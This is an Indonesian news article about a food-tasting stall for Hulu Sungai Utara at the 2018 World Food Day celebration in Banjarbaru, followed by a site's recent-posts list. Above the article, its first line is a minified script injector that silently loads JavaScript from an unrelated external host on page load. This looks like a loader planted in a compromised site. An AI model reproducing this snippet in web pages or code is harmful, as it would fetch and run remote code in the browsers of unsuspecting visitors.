(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Stand Icip-icip HSU diserbu Ratusan Pengunjung HPS


BANJARBARU, Laris manis, Stand Icip-icip Masakan Khas Banjar Kabupaten Hulu Sungai Utara diserbu ratusan pengunjung, Stand yang di buka, Sabtu (20/10) dari pukul 12.00-14.00 Wita di halaman Kantor Gubernuran Kalsel menyedot banyak perhatian pengunjung

Pasalnya sajian yang dihidangkan kali ini tidak hanya makanan khas bajar pada umumnya saja seperti pais sagu, roti sagu, tapai ketan, lupis, namun juga makanan yang hanya bisa kita temukan sewaktu berkunjung ke kota Amuntai. Seperti itik panggang tanpa tulang, apam Hambuku dan kuwe cincin Talipuk yang terbuat dari tepung bunga teratai.

Hadir pada kegiatan tersebut Ketua TP PKK HSU Hj Anisah Rasyidah Wahid, beserta jajaran, Dekranasda HSU, Kabid Perindustrian Disperindagkop HSU dan Kadis Ketahanan Pangan HSU. Pada kesempatan tersebut ketua TP.PKK HSU mengatakan sangat bersyukur pada pada kesempatannya giliran Kabupaten Hulu Sungai Utara, Kotabaru dan Tabalong yang mengisi Stand Icip-icip Masakan Khas Banjar.

“Alhamdulillah sejak dibuka sudah dibanjiri pengunjung, mudah-mudahan ini merupakan suatu keberkahan, dan kita patut bangga bisa memperkenalkan makanan khas daerah Kabupaten HSU pada perayaan Hari Pangan Sedunia ke-38 tahun 2018 ini,” kata Anisah.

Sementara itu di antara ratusan pengunjung yang datang ada Mama Eci dari Provinsi Papua, tepatnya di kota Wamena mengomentari bahwa kuliner Hulu Sungai Utara enak bahkan dirinya ikut mengajak teman-temannya untuk memcicipi.

“Pais sagu ini enak sekali, berbahan dasar sagu, kemudian dikasih pisang lalu dikasih gula aren bercampur parutan kelapa. Sangat cocok dilidah kami orang timur yang makanan pokoknya dari sagu” kata wanita yang juga ketua TP PKK Wemena ini.

Adapun Herlianor pengunjung dari Badan Restorasi Gambut mengatakan sungguh luar biasa Kalimantan Selatan bisa mengadakan Hari Pangan Sedunia ke-38 tahun 2018 ini dengan barengi dengan kegiatan seperti wisata kuliner khas masing-masing daerah. “Luar biasa sekali panganan Hulu Sungai Utara bisa dihadirkan disini, apalagi ini dibuat dari ciri khas tumbuhan rawa ini dari Bunga Teratai yang diolah dari cincin talipuk,” ujarnya

Diketahui, pembukaan stand pameran produk pertanian, kuliner dan sebagainya yang digelar dikawasan perkantoran Gubernur Kalimantan Selatan, Banjarbaru merupakan kawasan kedua yang mengisi kegiatan Peringatan Hari Pangan Sedunia Tahun 2018 Kalimantan Selatan, sedangkan untuk kegiatan panen raya dan gelar teknologi dilaksanakan di Desa Jejangkit, Barito Kuala (dew)

Reporter: Dew
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.